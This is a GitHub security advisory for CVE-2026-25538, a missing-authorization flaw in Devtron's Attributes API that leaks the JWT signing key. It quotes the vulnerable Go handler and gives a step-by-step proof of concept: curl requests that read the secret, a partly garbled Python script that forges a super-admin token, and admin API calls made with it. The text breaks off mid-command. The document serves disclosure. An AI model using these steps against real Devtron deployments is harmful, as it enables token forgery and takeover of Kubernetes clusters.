GitHub Advisoryadvisory · Go

GHSA-8wpc-j9q9-j5m2 Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage

HIGH Published 2026-02-04 Modified 2026-02-05 Official page ↗
Aliases
CVE-2026-25538
Ecosystem
Go
Packages
github.com/devtron-labs/devtron
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-862
Reviewed
2026-02-04

Affected packages

• Go github.com/devtron-labs/devtron: <= 2.0.0 (no fix yet)

Description

Devtron Attributes API Unauthorized Access Leading to API Token Signing Key Leakage Summary This vulnerability exists in Devtron's Attributes API interface, allowing any authenticated user (including low-privileged CI/CD Developers) to obtain the global API Token signing key by accessing the `/orchestrator/attributes?key=apiTokenSecret` endpoint. After obtaining the key, attackers can forge JWT tokens for arbitrary user identities offline, thereby gaining complete control over the Devtron platform and laterally moving to the underlying Kubernetes cluster. CWE Classification: CWE-862 (Missing Authorization) Details Vulnerability Mechanism Devtron uses a JWT-based API Token mechanism for authentication. All API Tokens are signed using HMAC-SHA256 with the `apiTokenSecret` stored in the database. This key is exposed through the Attributes API, but the authorization check code for this API has been commented out, allowing any authenticated user to read it. Source Code Analysis Vulnerability Location: `api/restHandler/AttributesRestHandlder.go:173-195` ```go func (handler AttributesRestHandlerImpl) GetAttributesByKey(w http.ResponseWriter, r *http.Request) { // Only checks if user is logged in userId, err := handler.userService.GetLoggedInUser(r) if userId == 0 || err != nil { common.HandleUnauthorized(w, r) return } // CRITICAL: RBAC check is commented out /*token := r.Header.Get("token") if ok := handler.enforcer.Enforce(token, rbac.ResourceGlobal, rbac.ActionGet, "*"); !ok { WriteJsonResp(w, errors.New("unauthorized"), nil, http.StatusForbidden) return }*/ // Directly retrieves any attribute without authorization vars := mux.Vars(r) key := vars["key"] res, err := handler.attributesService.GetByKey(key) if err != nil { handler.logger.Errorw("service err, GetAttributesById", "err", err) common.WriteJsonResp(w, err, nil, http.StatusInternalServerError) return } common.WriteJsonResp(w, nil, res, http.StatusOK) } ``` Key Usage: `pkg/apiToken/ApiTokenSecretService.go:54-88` ```go func (impl ApiTokenSecretServiceImpl) GetApiTokenSecretByteArr() ([]byte, error) { if len(impl.apiTokenSecretStore.Secret) == 0 { return nil, errors.New("secret found empty") } return []byte(impl.apiTokenSecretStore.Secret), nil } func (impl ApiTokenSecretServiceImpl) getApiSecretFromDb() (string, error) { apiTokenSecret, err := impl.attributesService.GetByKey(bean.API_SECRET_KEY) if err != nil { return "", err } if apiTokenSecret == nil || len(apiTokenSecret.Value) == 0 { return "", errors.New("api token secret from DB found nil/empty") } return apiTokenSecret.Value, nil } ``` This key is used to sign and verify all Devtron API Tokens and is the core credential of the control plane. PoC (Proof of Concept) Environment Setup Prerequisites • Kubernetes cluster (v1.22+) • kubectl configured • Helm 3.x • Python 3.x with PyJWT library Step 1: Install Devtron ```bash Add Devtron Helm repository helm repo add devtron https://helm.devtron.ai helm repo update devtron Install Devtron with CI/CD module helm install devtron devtron/devtron-operator \ --create-namespace --namespace devtroncd \ --set components.devtron.service.type=NodePort \ --set installer.modules={cicd} \ --set installer.arch=multi-arch Wait for installation to complete (15-20 minutes) kubectl -n devtroncd get installers installer-devtron -o jsonpath='{.status.sync.status}' Expected output: Applied ``` Step 2: Access Devtron Dashboard ```bash Set up port forwarding kubectl -n devtroncd port-forward service/devtron-service 8000:80 & Get admin password ADMIN_PASSWORD=$(kubectl -n devtroncd get secret devtron-secret \ -o jsonpath='{.data.ADMIN_PASSWORD}' | base64 -d) echo "Admin password: ${ADMIN_PASSWORD}" ``` Access http://127.0.0.1:8000 and login with admin account. Exploitation Steps Step 1: Obtain User Token Login as a regular user and obtain token: ```bash Login as regular user curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq . Extract token USER_TOKEN=$(curl -s -X POST "http://127.0.0.1:8000/orchestrator/api/v1/session" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"'${ADMIN_PASSWORD}'"}' | jq -r '.result.token') echo "User token: ${USER_TOKEN:0:50}..." ``` Actual Output Example: ```json { "code": 200, "status": "OK", "result": { "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...", "userId": 1, "userEmail": "admin" } } ``` Step 2: Exploit Vulnerability to Retrieve apiTokenSecret Use the obtained token to access the unauthorized Attributes API: ```bash Request apiTokenSecret curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \ -H "token: ${USER_TOKEN}" | jq . Extract secret API_SECRET=$(curl -s -X GET "http://127.0.0.1:8000/orchestrator/attributes?key=apiTokenSecret" \ -H "token: ${USER_TOKEN}" | jq -r '.result.value') echo "Leaked API Token Secret: ${API_SECRET:0:20}..." echo "Secret length: ${#API_SECRET} characters" ``` Actual Output Example: ```json { "code": 200, "status": "OK", "result": { "id": 1, "key": "apiTokenSecret", "value": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", "active": true, "createdOn": "2024-01-15T10:30:00Z", "createdBy": 1 } } ``` Step 3: Forge Admin JWT Token Forge admin token using the leaked key: ```bash Install PyJWT if not already installed pip3 install PyJWT Create token forging script cat > forge_token.py ") sys.exit(1) secret = sys.argv[1] admin_token = forge_admin_token(secret, user_id=1, email="admin") print(f"[+] Forged Admin Token:") print(admin_token) print() decoded = jwt.decode(admin_token, secret, algorithms=["HS256"]) print(f"[+] Token Payload:") print(json.dumps(decoded, indent=2)) EOF chmod +x forge_token.py Forge admin token python3 forge_token.py "${API_SECRET}" ``` Actual Output Example: ``` [+] Forged Admin Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwiZW1haWwiOiJhZG1pbiIsImlhdCI6MTcwNTMxNDAwMCwiZXhwIjoxNzM2ODUwMDAwLCJpc3MiOiJkZXZ0cm9uIiwicm9sZXMiOlsicm9sZTpzdXBlci1hZG1pbl9fXyJdfQ.xYz123AbC456DeF789GhI012JkL345MnO678PqR901StU [+] Token Payload: { "sub": "1", "email": "admin", "iat": 1705314000, "exp": 1736850000, "iss": "devtron", "roles": [ "role:super-admin___" ] } ``` Step 4: Test Forged Token with Admin APIs Use the forged token to access admin APIs: ```bash Extract forged token FORGED_TOKEN=$(python3 forge_token.py "${API_SECRET}" | grep -A 1 "Forged Admin Token:" | tail -1) Test 1: Get all users (requires admin permission) echo "[*] Test 1: Getting user list..." curl -s -X GET "http://127.0.0.1:8000/orchestrator/user/all" \ -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, email_id, roles}' Test 2: Get cluster list (requires admin permission) echo "[*] Test 2: Getting cluster list..." curl -s -X GET "http://127.0.0.1:8000/orchestrator/cluster" \ -H "token: ${FORGED_TOKEN}" | jq '.result[] | {id, cluster_name, server_url}' Test 3: Get all applications echo "[*] Test 3: Getting application list..." curl -s -X GET "http://127.0.0…

Related

Alias · CVE (1)

  • CVE-2026-25538 Devtron is an open source tool integration platform for Kubernetes. vulnerability

Weakness · CWE (1)

  • CWE-862 Missing Authorization weakness

References